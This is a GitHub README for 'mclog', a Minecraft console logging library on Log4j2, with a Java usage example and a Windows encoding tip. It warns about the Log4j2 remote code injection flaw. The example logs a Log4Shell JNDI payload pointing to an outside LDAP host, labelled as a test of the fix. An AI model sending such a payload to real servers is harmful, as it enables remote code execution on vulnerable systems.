Skip to content

steelswing/mclog

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

14 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

MCLOG

The minecraft logging system

WARNING! Log4j2 < 2.15 has remote code injection. Use the LAST RELEASE(1.1)!

Example

import java.util.concurrent.atomic.AtomicInteger;
import net.steelswing.mclog.ServerConsole;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

/**
 *
 * @author SteelSwing
 */
public class TestConsole {

    private static final Logger log = LogManager.getLogger();

    public static void main(String[] args) throws Exception {
        ServerConsole console = new ServerConsole().addListener((ServerConsole cns, String cmd) -> {
            if (cmd.equalsIgnoreCase("stop")) {
                cns.setRunning(false); // stop console handler
            }
        });

        
        AtomicInteger counter = new AtomicInteger(0);
        while (console.isRunning()) {
            if (counter.incrementAndGet() % 10 == 0) {
                log.error("&cHello &aWorld!");
                log.info("${jndi:ldap://someadress.com:1389/hackthisapp}"); // test log4j2 Remote code injection fix
            }

            Thread.sleep(20);
        }
    }
}

Enable support for Russian characters (Windows)

rem test bat file.
chcp 65001
java -Dfile.encoding=UTF-8 -jar you_jar.jar

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Packages

No packages published

Languages